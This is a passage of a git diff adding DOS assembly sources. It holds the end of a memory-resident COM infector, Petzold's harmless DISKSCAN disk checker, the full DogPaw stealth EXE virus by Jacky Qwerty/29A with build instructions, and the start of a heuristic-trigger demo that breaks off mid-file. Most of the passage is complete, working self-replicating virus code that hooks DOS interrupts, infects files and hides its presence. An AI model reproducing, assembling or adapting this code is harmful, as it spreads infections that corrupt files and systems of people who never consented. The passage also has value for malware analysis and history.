up on the directory listing. +; +; this virus will not infect files if they have a seconds field of 58 seconds, +; and will hide the file size increase on these files while the virus is +; memory resident. + + +v_start: + + call si_set +si_set: pop si + sub si, offset si_set + mov bp, ds + + mov ax, 0fedch + int 21h + jc exit_code + + mov ax, ds + dec ax +tsr1: mov ds, ax + cmp byte ptr [0], 'Z' + je tsr2 + add ax, word ptr [3] + jmp tsr1 +tsr2: cmp word ptr [3], p_len+1 + jb exit_code + sub word ptr [3], p_len + add ax, word ptr [3] + inc ax + sub ax, 10h + mov di, 100h + mov es, ax + mov cx, 512 + add si, offset v_start + mov ds, bp + rep movsw + xor si, si + push ax + mov ax, offset fix_ints + push ax + retf + +fix_ints: push cs + pop ds + mov ax, 3521h + int 21h + mov word ptr [old_21], bx + mov word ptr [old_21+2], es + mov dx, offset new_21 + mov ax, 2521h + int 21h + +exit_code: add si, offset orig_3 + mov es, bp + mov di, 100h + push bp + push di + movsw + movsb + mov ds, bp + xor ax, ax + mov bx, ax + mov dx, ax + mov si, ax + mov di, ax + mov bp, ax + retf + +new_21: clc + cmp ah, 11h + je chk + cmp ah, 12h + je chk + cmp ah, 1ah + je dta_set + cmp ax, 0fedch + jne i_exit + stc ; set carry + iret +i_exit: jmp dword ptr cs:[old_21] + +function_call: pushf + call dword ptr cs:[old_21] + ret + +dta_set: call function_call + jnc ds2 +ds1: retf 2 +ds2: mov word ptr cs:[dta_save], dx + mov word ptr cs:[dta_save+2], ds + jmp short ds1 + +chk: call function_call + cmp al, 0 + je c2 + iret +c2: push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + push cs + pop es + lds si, dword ptr cs:[dta_save] + lodsb + dec si + cmp al, 0ffh + jne c3 + add si, 7 ; fix all this shit up +c3: push si + add si, 17h + lodsw + and ax, 29 ; 56 seconds + jz c4 + add si, 4 + sub word ptr [si], v_len + sbb word ptr [si-2], 0 + pop si + jmp short c_exit + +c4: pop si + mov bp, si + add si, 9 ; up to extension + lodsw + and ax, 0dfdf ; ->UC + cmp ax, 'OC' + jne c_exit + lodsb + and al, 0df + cmp al, 'M' + je c_inf +c_exit: pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + iret +c_inf: mov si, bp + inc si + mov di, filename_save + mov cx, 8 +cmov1: lodsb + cmp al, ' ' + je cmov2 + stosb +cmov2: loop cmov1 + mov al, '.' + stosb + movsw + movsb + xor ax, ax + stosb ; make an ASCIIZ string + +com_infection: push cs + pop ds + mov ax, 3524h + call function_call + push bx + push es + push cs + pop es + mov dx, offset new_24 + mov ax, 2524h + call function_call + mov ax, 4300h + mov dx, filename_save + call function_call + jnc k1 + jmp exit_1 +k1: push cx + mov ax, 4301h + xor cx, cx + call function_call + jc exit_2 + mov ax, 3d02h + call function_call + mov bp, ax + xchg ax, bx + mov ax, 5700h + call function_call + push cx + push dx + mov dx, offset orig_3 + mov ah, 3fh + mov cx, 3 + call function_call + mov ax, 4202h + xor cx, cx + xor dx, dx + call function_call + or dx, dx + jnz exit_3 + push ax + add ax, 102h+v_len + pop ax + jc exit_3 + cmp ax, 3 + jb exit_3 + dec ax + dec ax + dec ax + mov di, offset com_stub+1 + stosw + mov ah, 40h + mov cx, v_len + mov dx, 100h + call function_call + cmp ax, v_len + jb exit_4 ; check number of bytes written + xor cx, cx + xor dx, dx + mov ax, 4200h + call function_call + mov ah, 40h + mov cx, 3 + mov dx, offset com_stub + call function_call + pop dx + pop cx + or cx, 29 + push dx + push cx + +exit_4: mov ax, 5701h + pop dx + pop cx + call function_call + +exit_3: mov ah, 3eh + call function_call + +exit_2: pop cx + mov ax, 4301h + mov dx, filename_save + call function_call + +exit_1: pop ds + pop dx + mov ax, 2524h + call function_call + jmp c_exit + + + + + + + + +new_24: iret + +orig_3: int 20h + nop + +com_stub db 0e9h + dw 0 + + db ' DIR by Drunk Avenger [PuKE] x92! ' + +v_end: + +old_21 equ $ +dta_save equ old_21 + 4 +infected equ dta_save + 4 +filename_save equ infected + 1 + +p_len equ 40h ; 1k +v_len equ v_end - v_start + + diff --git a/d/DISKSCAN.ASM b/d/DISKSCAN.ASM new file mode 100755 index 0000000..1443f4a --- /dev/null +++ b/d/DISKSCAN.ASM @@ -0,0 +1,304 @@ +; DISKSCAN.ASM -- Checks out disk by reading sectors +; -------------------------------------------------- + +CSEG Segment + Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG + Org 100h +Entry: Jmp Begin + +; All Data +; -------- + db ' Copyright 1986 Ziff-Davis Publishing Co.' + db ' Programmed by Charles Petzold ' +DriveError db 'Invalid Drive$' +DosVersErr db 'Needs DOS 2.0+$' +MemoryError db 'Needs 64K$' +ReadSegment dw ? +DriveNum db ? +DiskBlock db 18 dup (?) +TotalSectors dw ? +SectorsIn64K dw ? +StartSector dw 0 +SectorLabel2 db 9,'Sector $' +SectorLabel db 13,'Sectors $' +DashLabel db ' - $' +ErrorLabel db ': Error!' +CRLF db 13,10,'$' +ErrorAddr dw Err0,Err1,Err2,Err3,Err4,Err5,Err6,Err7 + dw Err8,Err9,ErrA,ErrB,ErrC,ErrD,ErrD,ErrD +Err0 db 'Write Protect$' +Err1 db 'Unknown Unit$' +Err2 db 'Drive Not Ready$' +Err3 db 'Unknown Command$' +Err4 db 'CRC Error$' +Err5 db 'Request Length$' +Err6 db 'Seek Error$' +Err7 db 'Unknown Media$' +Err8 db 'Sector Not Found$' +Err9 db 'No Paper$' +ErrA db 'Write Fault$' +ErrB db 'Read Fault$' +ErrC db 'General Failure$' +ErrD db 'Undocumented Error$' +BootSectMsg db 'Boot Sector$' +RootDirMsg db 'Root Directory$' +BadFatMsg db 'File Alloc. Table$' +InUseMsg db 'Used by file$' +NotInUseMsg db 'Unallocated$' +BadFlagMsg db 'Flagged as bad$' +FatReadMsg db "Can't Read FAT$" +Divisors dw 10000, 1000, 100, 10, 1 ; For decimal conversion + +; Check Drive Parameter, DOS Version, and Enough Memory +; ----------------------------------------------------- + +ErrorExit: Mov AH,9 ; Write error message + Int 21h ; through DOS + Int 20h ; And terminate + +Begin: Mov DX, Offset DriveError ; Possible message + Or AL, AL ; Check Drive Validity Byte + Jnz ErrorExit ; If not zero, invalid drive + Mov DX, Offset DosVersErr ; Possible message + Mov AH, 30h + Int 21h ; Get DOS Version Number + Cmp AL, 2 ; Check for 2.0 or later + Jb ErrorExit ; If not, terminate with message + Mov DX, Offset MemoryError ; Possible error message + Mov BX, 256+Offset EndProg ; Set beyond program + Mov SP, BX ; Move stack closer to code + Add BX, 15 ; Add 15 to round up + Mov CL, 4 ; Divide BX by 16 + Shr BX, CL + Mov AH, 4Ah ; Free allocated memory + Int 21h ; by calling DOS Set Block + Jc ErrorExit ; Terminate on error + Mov BX, 1000h ; Ask for 64K bytes + Mov AH, 48h ; by using DOS + Int 21h ; Allocate Memory call + Jc ErrorExit ; Terminate on error + Mov [ReadSegment], AX ; Save segment of memory block + +; Get Disk Information From DOS +; ----------------------------- + + Mov DL, DS:[005Ch] ; Get Drive Parameter + Push DS ; Save DS + Mov AH, 32h ; Call DOS to + Int 21h ; get DOS Disk Block (DS:BX) + Mov SI, BX ; Now DS:SI points to Disk Block + Mov DI, Offset DiskBlock ; DI points to destination + Mov CX, 18 ; 18 bytes to copy' + Cld ; Forward direction + Rep Movsb ; Move 'em in + Pop DS ; Get back DS + Mov BX, Offset DiskBlock ; BX to address Disk Block + Mov DX, 1 ; Set DX:AX to 65,536 + Sub AX, AX + Div Word Ptr [BX + 2] ; Divide by Bytes Per Sector + Mov [SectorsIn64K], AX ; Save that values + Mov AX, [BX + 13] ; Last Cluster Number + Dec AX ; AX = Number of Clusters + Mov CL, [BX + 5] ; Cluster to Sector Shift + Shl AX, CL ; AX = Number Data Sectors + Add AX, [BX + 11] ; Add First Data Sector + Mov [TotalSectors], AX ; AX = Number Total Sectors + Mov AL, DS:[005Ch] ; Drive Number (0=def, 1=A) + Dec AL ; Make it 0=A, 1=B + Jns GotDriveNumber ; If no sign, not default drive + Mov AH, 19h ; Get current disk + Int 21h ; by calling DOS + +GotDriveNumber: Mov [DriveNum], AL ; Save Drive Number (0=A, 1=B) + +; Start Reading +; ------------- + +MainLoop: Mov DX, Offset SectorLabel ; String to display on screen + Call StringWrite ; Display it + Mov AX, [StartSector] ; Starting sector number + Call WordWrite ; Display number on screen + Mov DX, Offset DashLabel ; String containing a dash + Call StringWrite ; Display it on the screen + Mov CX, [SectorsIn64K] ; Number of sectors to read + Add AX, CX ; Add it to starting sector + Jc NumRecalc + Cmp AX, [TotalSectors] ; See if bigger than total + Jbe NumSectorsOK ; If so, proceed + +NumRecalc: Mov AX, [TotalSectors] ; Otherwise get total sectors + Mov CX, AX ; Move it to CX also + Sub CX, [StartSector] ; Now CX = sectors to read + +NumSectorsOK: Dec AX ; AX = last sector to read + Call WordWrite ; Display it on screen + Call ReadSectors ; Read the sectors + Jnc NextSectors ; If no error, skip detail + Call ReadSectors ; Repeat read + Jnc NextSectors ; If still no error, skip + +DiskError: Mov DX, Offset ErrorLabel ; String saying "Error!" + Call StringWrite ; Display it on screen + +ErrorLoop: Push CX ; Now save previous number + Mov CX, 1 ; So we can read one at a time + Call ReadSectors ; Read one sector + Jnc NoError ; If no error, proceed + Mov BL, AL ; Save error code + Mov DX, Offset SectorLabel2 ; String with "Sector " + Call StringWrite ; Display it on screen + Mov AX, [StartSector] ; The sector we just read + Call WordWrite ; Display it on screen + Mov DX, Offset DashLabel ; String with a dash + Call StringWrite ; Display it on screen + And BL, 0Fh ; Blank out error top bits + Sub BH, BH ; Now BX is error code + Add BX, BX ; Double it for word access + Mov DX, [ErrorAddr + BX] ; Get address of message + Call StringWrite ; Display message on screen + Call FindSector ; See where sector is + Mov DX, Offset CRLF ; String for new line + Call StringWrite ; Do carriage ret & line feed + +NoError: Inc [StartSector] ; Kick up the start sector + Pop CX ; Get back counter + Loop ErrorLoop ; And read next sector + Mov AX, [StartSector] ; Sector of next group + Jmp Short CheckFinish ; Check if at end yet + +NextSectors: Mov AX, [StartSector] ; For no error, increment + Add AX, [SectorsIn64K] ; StartSector for next group + Jc Terminate ; (If overflow, terminate) + Mov [StartSector], AX ; And save it + +CheckFinish: Cmp AX, [TotalSectors] ; See if at then end + Jae Terminate ; If so, just terminate + Jmp MainLoop ; If not, do it again + +Terminate: Int 20h ; Terminate + +; Find Sector in FAT to see if used by file, etc. +; ----------------------------------------------- + +FindSector: Mov DX, Offset DashLabel ; Print dash + Call StringWrite + Mov AX, [StartSector] ; Sector with error + Mov DX, Offset BootSectMsg ; Set up message + Cmp AX, Word Ptr [DiskBlock + 6] ; See if sector boot + Jb PrintMsg ; If so, print as such + Mov DX, Offset BadFatMsg ; Set up message + Cmp AX, Word Ptr [DiskBlock + 16] ; See if sector in FAT + Jb PrintMsg ; If so, print as such + Mov DX, Offset RootDirMsg ; Set up message + Cmp AX, Word Ptr [DiskBlock + 11] ; See if sector in dir + Jb PrintMsg ; If so, print as such + Push [StartSector] ; Save the sector + Mov AX, Word Ptr [DiskBlock + 6] ; Reserved sectors + Mov [StartSector], AX ; Start of first FAT + Mov CL, [DiskBlock + 15] ; Sectors for FAT + Sub CH, CH ; Zero out top byte + Call ReadSectors ; Read in FAT + Pop [StartSector] ; Get back bad sector + Mov DX, Offset FatReadMsg ; Set up possible msg + Jc PrintMsg ; If read error, print + Mov AX, [StartSector] ; Get bad sector + Sub AX, Word Ptr [DiskBlock + 11] ; Subtract data start + Mov CL, [DiskBlock + 5] ; Sector Shift + Shr AX, CL ; Shift the sector + Add AX, 2 ; AX is now cluster + Push ES ; Save ES for awhile + Mov ES, [ReadSegment] ; ES segment of FAT + Cmp Word Ptr [DiskBlock + 13], 0FF0h; 12 or 16-bit FAT? + Jge Fat16Bit ; And jump accordingly + Mov BX, AX ; This is cluster number + Mov SI, AX ; So is this + Shr BX, 1 ; This is one-half cluster + Mov AX, ES:[BX + SI] ; BX + SI = 1.5 CX + Jnc NoShift ; If no CY from shift, got it + Mov CL, 4 ; If CY from shift must + Shr AX, CL ; shift word 4 bits right + +NoShift: Or AX, 0F000h ; Now put 1's in top bits + Cmp AX, 0F000h ; See if zero otherwise + Jmp Short CheckWord ; And continue checking + +Fat16Bit: Mov BX, AX ; This is cluster number + Shl BX, 1 ; Double it + Mov AX, ES:[BX] ; Pull out word from sector + Or AX, AX ; See if zero (unallocated) + +CheckWord: Pop ES ; Get back ES + Mov DX, Offset NotInUseMsg ; Set up possible message + Jz PrintMsg ; If so, print message + Mov DX, Offset BadFlagMsg ; Set up possible message + Cmp AX, 0FFF7h ; See if cluster flagged bad + Jz PrintMsg ; If so, print message + Mov DX, Offset InUseMsg ; If not, cluster is in use + +PrintMsg: Call StringWrite ; Print cluster disposition + Ret ; And return + +; Read Sectors (CX = Number of Sectors, Return CY and AL for error) +; ----------------------------------------------------------------- + +ReadSectors: Push BX ; Push all needed registers + Push CX + Push DX + Push DS + Mov AL, [DriveNum] ; Get the drive number code + Sub BX, BX ; Buffer address offset + Mov DX, [StartSector] ; Starting Sector + Mov DS, [ReadSegment] ; Buffer address segment + Int 25h ; Absolute Disk Read + Pop BX ; Fix up stack + Pop DS ; Get back registers + Pop DX + Pop CX + Pop BX + Ret ; Return to program + +; Screen Display Routines +; ----------------------- + +WordWrite: Push AX ; Push some registers + Push BX ; AX contains word to display + Push CX + Push DX + Push SI + Mov SI, Offset Divisors ; SI points to divisors + Mov CX, 4 ; CL counter; CH zero blanker + +WordWriteLoop: Mov BX, [SI] ; Get divisor + Add SI, 2 ; Increment SI for next one + Sub DX, DX ; Prepare for division + Div BX ; Divide DX:AX by BX + Push DX ; Save remainder + Or CH, AL ; See if zero + Jz LeadZero ; If so, do not display it + Add AL, '0' ; Convert number to ASCII + Mov DL, AL ; Print out character + Mov AH, 2 ; by calling DOS + Int 21h + +LeadZero: Pop AX ; Get back remainder + Dec CL ; Decrement counter + Jg WordWriteLoop ; If CL still > 0, do it again + Mov CH, 1 ; No more zero blanking + Jz WordWriteLoop ; Convert last digit to ASCII + Pop SI ; Get back pushed registers + Pop DX + Pop CX + Pop BX + Pop AX + Ret + +StringWrite: Push AX ; Displays string from DX + Mov AH, 9 ; to screen by calling DOS + Int 21h + Pop AX + Ret + +EndProg Label Byte ; End of program +CSEG EndS + End Entry + \ No newline at end of file diff --git a/d/DOGPAW.ASM b/d/DOGPAW.ASM new file mode 100755 index 0000000..026d59d --- /dev/null +++ b/d/DOGPAW.ASM @@ -0,0 +1,607 @@ +; +; +; DogPaw.720 +; by Jacky Qwerty/29A +; +; +; +; This simple DOS virus exploits a certain feature graciosly implemented for +; us by Microsoft and which is present in Win95, WinNT and probably OS/2. It +; has to do with non-DOS aplicationz run from DOS boxez opened under these +; 32-bit systemz. It doesnt aply to Win3.1, tho. +; +; In Win3.1, whenever u try to execute a Win3.1 aplication from a DOS box, +; the comon frustratin mesage "This program cannot be run in DOS mode" or +; "This program requires Microsoft Windows" apeared. The guyz at Microsoft +; always lookin for enhancementz finaly made it right with NT and Win95 and +; wisely put an end to this nuisance. Under these 32-bit systemz, whenever u +; execute a non-DOS aplication from a DOS box, the system loader no longer +; executes the DOS stub program which displays such mesage, it actually ends +; up executin the real Win3.1 or Win32 aplication just as if u had double- +; clicked the program on yer desktop to execute it. But what has this thing +; got to do with us? Can this feature be used in a virus? the answer is yes. +; +; I wrote this virus just to ilustrate how the above feature can be cleverly +; used in a virus. For this reason, DogPaw lacks all kindz of poly, retro, +; antidebug, etc. but it implements full stealth tho, and encrypts data of +; the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio" +; from undernet #virus as he seems to be the first one havin exploited this. +; +; +; Technical description +; +; DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, Win- +: NT and OS/2 programz. It infects filez on close and execute and disinfects +; them on open. I dont like this kind of stealth at all but it was more than +; necesary in order to exploit the forementioned feature. +; +; When DogPaw infects a file, it encrypts the first 720 bytez of the host, +; includin its MZ header and stores it at the end of the file, then it over- +; writes the first 720 bytez of the host with the virus code itself, which +; is really DOS program code. This way what the virus really does is conver- +; tin Win3.1, Win95, WinNT and OS/2 programz into simple DOS programz con- +; tainin virus code. This doesnt mean that such filez are trojanized or da- +; maged, they are fully functional after infection, read on. +; +; When a DogPaw-infected file is executed, the system treats it as a genuine +; DOS aplication. This is becoz the virus overwrites the pointer at 3Ch in +; the MZ header which pointed to the real NewEXE header (NE, PE, LX, etc). +; This way the virus executes as a DOS 16-bit program and plants a resident +; copy in DOS memory. After this the virus has to execute the original apli- +; cation, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it di- +; sinfects the host by decryptin the original data at the end of file and +; writes it back to the begin of file previosly overwriten with virus code. +; Next the virus executes the original host and, becoz of the above feature, +; the system finally executes the original Win3.1, Win32 or OS/2 aplication +; just as if it had been executed from outside a DOS box. +; +; The disadvantagez of this method are plain to see. Microsoft obviosly dont +; want people to write clumsy DOS programz, tho it is still suportin old DOS +; aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is +; needed in order to make the migration from DOS to Win32 less painfully and +; troublesome. But once this DOS compatibility disapears from these systemz, +; those nonDOS programz infected by this virus wont be able to run or spread +; further from inside these 32-bit OS's. As u can see its not wise at all to +; still depend on obsolete goofie DOS in order to infect 32-bit aplicationz. +; For this purpose we must interact directly with the 32-bit file format, ie +; the PE format itself. There is no way to circumvent this in the future ;) +; +; +; A dog paw tale +; +; Some weekz ago i stole my dady's car to take a short ride around the block +; and i was so nervous that i almost crashed twice: the first time with a +; huge big garbage truck (yea even tho i wear glasez) and the second time +; with a little grandma crossin down the street. Shit.. that was enough for +; the day, i didnt want to kill anybody nor get killed at worst, so i deci- +; ded to go back home. I turned on the radio and started to sing "the side- +; winder sleeps tonight" by R.E.M. Yea i was havin a great time even tho i +; had been about to crash twice. Why did i have to open my mouth! Just when +; i was about to turn right at the next block i heard a suden "crash" follo- +; wed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right +; tirez. Shit what da hell was that..? i looked back thru the front mirror +; just to know the answer. On the road i had left behind, there lied a poor +; crushed dog. Ohh shit i crushed a dog! Now from time to time when that +; scene comes to my mind, all i see is that unfortunate squeezed dog wavin +; goodbye with his paw.. the poor dog paw. #8I +; +; +; Greetingz +; +; And finaly the greetingz go to: +; +; Casio ......... Yer Rusty was kewl.. but throw 'way that ASIC dude! +; Tcp/29A ....... Wooow! yer disasembliez rock man.. really rock! +; Spanska ....... Dont get drunk too often ;) greetingz to Elvira.. +; Reptile/29A ... Not even a garden full of ganja can stop ya heh #8S +; Rilo .......... Confess budie: Rilo Drunkie + Belch = Car crash ;) +; Liquiz ........ Still watin to see that poly of yourz.. #8) +; +; +; Disclaimer +; +; This source code is for educational purposez only. The author is not res- +; ponsible for any problemz caused due to the assembly of this file. +; +; +; Compiling it +; +; tasm -ml -m5 -q -zn dogpaw.asm +; tlink -t -x dogpaw, dogpaw.exe +; +; +; (c) 1997 Jacky Qwerty/29A. + + +.model tiny +.286 + +include useful.inc +include MZ.inc + +v_mark equ 'GD' ;virus mark +v_size_bytes equ v_end - v_start ;virus size in bytez +b_size_bytes equ v_size_bytes ;bufer size in bytez +s_size_bytes equ 100h ;stack size in bytez +v_size_words equ (v_size_bytes + 1) / 2 ;virus size in wordz +v_size_paras equ (v_size_bytes + 15) / 16 ;virus size in paragraphz +v_size_sects equ (v_size_bytes + 511) / 512 ;virus size in sectorz +v_size_kilos equ (v_size_bytes + 1023) / 1024 ;virus size in kilobytez +v_size_div_512 equ v_size_bytes / 512 ;virus size div 512 +v_size_mod_512 equ v_size_bytes \ ;virus size mod 512 + - (512 * v_size_div_512) ; +m_size_bytes equ v_size_bytes + (b_start \ ;memory size in bytez + - v_end) + b_size_bytes \ ; + + s_size_bytes ; +m_size_words equ (m_size_bytes + 1) / 2 ;memory size in wordz +m_size_paras equ (m_size_bytes + 15) / 16 ;memory size in paragraphz + +.code + org 100h +v_start: + +MZ_Header IMAGE_DOS_HEADER < \ ;MZ header start + IMAGE_DOS_SIGNATURE, \ ;MZ_magic + v_size_mod_512, \ ;MZ_cblp + v_size_sects, \ ;MZ_cp + 0, \ ;MZ_crlc + 0, \ ;NZ_cparhdr + m_size_paras, \ ;MZ_minalloc + m_size_paras, \ ;MZ_maxalloc + -11h, \ ;MZ_ss + (m_size_bytes + 111h) and -2 \ ;MZ_sp + v_mark, \ ;MZ_csum + entry_point, \ ;MZ_ip + -10h \ ;MZ_cs + > + + org (v_start + MZ_lfarlc) + +old_MZ_low_ptr dw 0 +old_MZ_high_ptr dw 0 + +c_start: + +Copyright db 'D' xor 66h + db 'o' xor 66h + db 'g' xor 66h + db 'P' xor 66h + db 'a' xor 66h + db 'w' xor 66h + db ' ' xor 66h + db 'J' xor 66h + db 'x' xor 66h + db 'Q' xor 66h + db '/' xor 66h + db '2' xor 66h + db '9' xor 66h + db 'A' xor 66h + db 0 xor 66h + +common_clean_ds: + + push cs + pop ds + mov ds:[flag],al + +common_clean: test al,? ;clear carry (clean file) + org $ - 1 + +common_infect: stc ;set carry (infect file) + + pusha + mov bp,offset clean + 1 + jnc common + mov si,dx + mov bp,offset infect + 1 + cld + @endsz + std + lodsw + lodsw + cld + and al,not 20h + add al,-'E' ;check for EXE extension + jnz to_popa_ret + lodsw + and ax,not 2020h + add ax,-'XE' + jnz to_popa_ret + +common: ;this function cleans or infects a file + ;on exit: + ; flag = 0, if error + + mov ax,3D00h + call call_int_21 ;open file in read/only mode + jc to_popa_ret + xchg bx,ax + push ds dx + call ptr2begin ;move file pointer to begin of file + jc end_close + push cs + pop ds + call read ;read first 720 bytez + jc end_close + cmp word ptr [si.MZ_csum],v_mark ;check infection + jnz end_close_clc + mov ax,[si.MZ_magic] + cmp word ptr [si.MZ_maxalloc],m_size_paras + jnz end_close_clc + add ax,-IMAGE_DOS_SIGNATURE ;check MZ signature + end_close_clc: clc + end_close: pushf + mov ah,3Eh + call call_int_21 ;close file + pop ax + dec bp + lahf + pop dx + or al,ah + shl ah,4 + pop ds + xor ah,al + sahf + jbe end_popa_ret ;if (carry or zero) + + mov ax,4300h ;save old file atributes + call call_int_21 + to_popa_ret: jc end_popa_ret + + push ds + mov si,4*24h-80h + call get_int + pop ds + pusha ;ax, bx, si + mov bx,cs + mov ax,offset new_24 + call set_int + + push cx + mov cl,20h ;set read/write file atributes + mov ax,4301h + call call_int_21 + pop cx + jc end_2popa_ret + + mov ax,3D02h ;open file in read/write mode + call call_int_21 + jc restore_atrib + + pusha ;cx, dx + xchg bx,ax + mov ax,5700h ;get data & time + call call_int_21 + jc close_file + + push ds es + pusha + + push cs cs + pop ds es + mov si,offset b_start + lea di,[si + old_MZ_low_ptr - v_start] + call bp ;clean or infect + jc err_file + mov ds:[flag],al ;al!=0 (check this while debugin) + + err_file: popa + pop es ds + + mov ax,5701h ;set data & time + call call_int_21 + + close_file: mov ah,3Eh ;close file + call call_int_21 + popa + + restore_atrib: mov ax,4301h ;restore old atributes + call call_int_21 + + end_2popa_ret: popa + call set_int + + end_popa_ret: popa + end_ret: ret + +infect proc ;infects a file + + mov cx,b_size_bytes + + cld ;encrypt old MZ header + encrypt: lodsb + ror al,cl + xor al,0C5h + mov [si-1],al + loop encrypt + + mov ax,4202h ;move file pointer to end of file + cwd + call call_int_21 + jc end_ret + + pusha + call write ;write old MZ header to end of file + jc end_popa_ret + + lodsw ;move virus code to buffer area + xchg dx,di + mov si,offset v_start + mov ds:[old_MZ_Magic],ax + cld + move_virus: lodsb + stosb + loop move_virus + popa + + stosw ;hardcode file location in virus code + xchg ax,dx ; + stosw ; + + jmp ptr2new ;move file pointer to actual MZ header + +infect endp + +get_int: ;gets an interrupt vector + ;on entry: + ; SI = int number * 4 + ; DS = 0 + ;on exit: + ; DX:AX = int vector adress retrieved + + push 8 + pop ds + mov bx,[si+2] + mov ax,[si] + ret + +clean proc ;cleans an infected file + + mov cx,[di + 2] ;old_MZ_high_ptr + mov dx,[di] ;old_MZ_low_ptr + pusha + call ptr2old ;move file pointer to old MZ header + jc end_popa_ret + + call read ;read old MZ header + jc end_popa_ret + + cmp word ptr [si.MZ_magic],1234h ;check old MZ header + old_MZ_Magic = word ptr $-2 + stc + jnz end_popa_ret + + cld ;decrypt old MZ header + decrypt: lodsb + xor al,0C5h + rol al,cl + mov [si-1],al + loop decrypt + + popa + call ptr2old ;move file pointer to old MZ header + jc ptr2new + + sub cx,cx + mov ah,40h ;remove old MZ header from end of file + call call_int_21 + + ptr2new: call ptr2begin ;move file pointer to actual MZ header + jc end_clean + +write: mov ah,40h ;write MZ header + cmp ax,? + org $-2 + +read: mov ah,3Fh ;read MZ header + mov dx,offset b_start + mov cx,b_size_bytes + call call_int_21 + jc end_rd_wr + cmp ax,cx + mov si,dx + end_rd_wr: + + end_clean: ret + +clean endp + +entry_point: mov ax,30AFh + x = 4*21h-80h + push x + mov di,offset old_int_21 ;check if already installed + int 21h + cld + pop si + add al,-0AFh + mov bp,si + jz already ;yea we're instaled, jump + + push ds ;hook int 21h & stay resident + call get_int + mov [1+bp-x+si-x],ds + stosw + pop ax + xchg ax,bx + stosw + mov ax,offset new_int_21 + call set_int + + already: push di + mov ds,[2Ch+10h+bp-x] ;get program filename + get_prog: inc si + cmp [si],bp + jnc get_prog + lea si,[si+4+bp-x] + pop dx + @copysz + + call common_clean_ds ;clean infected program + +exec: cmp al,ds:[flag] ;prevent circular execution + jz exit + push ds + mov bx,offset p_block ;execute program + mov ah,0Dh + call call_int_21 + mov [bx+4],ds + mov [bx+8],cs + pusha + mov [bx+0Ch],es + mov ax,4B00h + call call_int_21 + popa + mov ah,4Dh + call call_int_21 + pop ds + + call common_infect + +exit: mov ah,4Ch ;exit to DOS + jmp call_int_21 + +p_block dw 0 ;parameter block to be used by 4B00h + dw 80h + dw ? + dw 5Ch + dw ? + dw 6Ch + dw ? + +new_24: mov al,3 + iret + +ptr2begin: xor dx,dx ;move file pointer to actual MZ header + mov cx,dx +ptr2old: mov ax,4200h +call_int_21: pushf ;call old INT 21h + push cs + call jmp_int_21 + ret + +set_int: ;sets an interrupt vector + ;on entry: + ; SI = int number * 4 + ; DS = 0 + ; DX:AX = int vector adress to store + + push ds + push 8 + pop ds + mov [si+2],bx + mov [si],ax + pop ds + ret + +infect_on_close: ;infect on file close + push ds es + pusha + mov bp,sp + push cs bx + mov ax,1220h + int 2Fh ;use file system tablez + jc fail_dcb + mov bl,es:[di] + cmp bl,-1 + cmc + jc fail_dcb + mov ax,1216h + int 2Fh + fail_dcb: pop bx ds + pushf + mov ah,3Eh + call call_int_21 ;close file + mov [bp.Pusha_ax],ax + pop ax + jc fail_close + shr al,1 + jc fail_close_clc + mov ax,':'*100h + mask BDA_DriveNumber + and al,byte ptr es:[di.DCB_DeviceAtribs] + mov dl,al + sub al,-'A' + mov si,offset program_name + 3 + mov [si-3],ax + inc dx + mov ah,47h + call call_int_21 ;get current directory + jc fail_close_clc + cld + dec si + push es si ds + lea si,[di.DCB_FileName] + mov al,'\' + pop es di + stosb + add al,-'\' ; al=0 + scasb + jnz $ - 1 + sub al,-'\' ; al='\' + dec di + mov cx,size DCB_FileName + 1 + cmp al,[di-1] + pop ds + push si + jz $+3 + copy_name: stosb ;atach file name to path + lodsb + cmp al,20h + loopnz copy_name + pop si + mov al,'.' + mov cl,size DCB_FileExt + 1 + sub si,- size DCB_FileName + copy_ext: stosb ;atach file extension to file name + lodsb + cmp al,20h + loopnz copy_ext + xor al,al + stosb + push cs + pop ds + mov dx,offset program_name + call common_infect ;infect the file +fail_close_clc: clc + fail_close: popa + pop es ds + retf 2 + + on_close: jmp infect_on_close + +self_check: cmp di,offset old_int_21 + jnz jmp_int_21 + mov si,di + cld + movs word ptr es:[di],cs:[si] ;copy old int 21h + movs word ptr es:[di],cs:[si] ; +go_iret: iret + +new_int_21: cli ;new INT 21h service routine + push ax ;antitrace.. dont fuck with me + push -1 + inc sp + dec sp + pop ax + inc ax + pop ax + sti + jnz go_iret + chk_3E: cmp ah,3Eh ;close? + jz on_close + chk_30: cmp ax,30AFh ;are we already installed? + jz self_check + chk_4B: cmp ah,4Bh ;execute? + jnz chk_3D + call common_infect + chk_3D: cmp ah,3Dh ;open? + jnz jmp_int_21 + call common_clean + +jmp_int_21: db 0EAh ;JMP SEG:OFF opcode +v_end: ;virus end on filez +old_int_21 dd ? ;old INT 21h vector + +program_name db 80h dup (?) ;buffer to hold program namez +flag db ? ;used to prevent circular execution +b_start: ;start of internal buffer + end v_start diff --git a/d/DONOTHIN.ASM b/d/DONOTHIN.ASM new file mode 100755 index 0000000..7cd2104 --- /dev/null +++ b/d/DONOTHIN.ASM @@ -0,0 +1,207 @@ +; +; +; Donothing.asm +; By Khntark +; DATE: NOV 93 +; +; Assemble with TASM 2.X +; + +MAIN SEGMENT BYTE + ASSUME cs:main,ds:main,ss:nothing + org 100h + +DONUTHIN: +VIRUS: + +; +; J-Flag - Suspicious Jump construct +; + + jmp THERE +THERE: jmp HERE +HERE: + + mov dx,Offset MSG + mov ah,09 + int 21h ;display message + + int 20h ;PROGRAM NEVER GETS EXECUTED BEYOND THIS POINT!! + ;This is SHMISTICS! + +MSG db 'Please scan this file with TBSCAN!$' + +; +; E-Flag - Flexible Entry Point +; + + call HAHA +HAHA: pop si + sub si,3 + +; +; O-Flag - Code Overwrite +; + + ;Restore COM host + mov di,0100h + push di + movsw + movsw ;from ds:si to es:di + ;------- O flag ------- +; ret ;return to host + ;------- R flag -------(see below) + +; +; R-Flag - Suspicious Relocator +; + + push di ;save return address + movsw ;restore host + movsw ;from ds:si to es:di + ret ;return to host + +; +; A-Flag - Suspicious Memory Allocation +; + + mov BYTE PTR ds:0000,'M' + mov cx,23h ;23h * 16 = 560 + sub 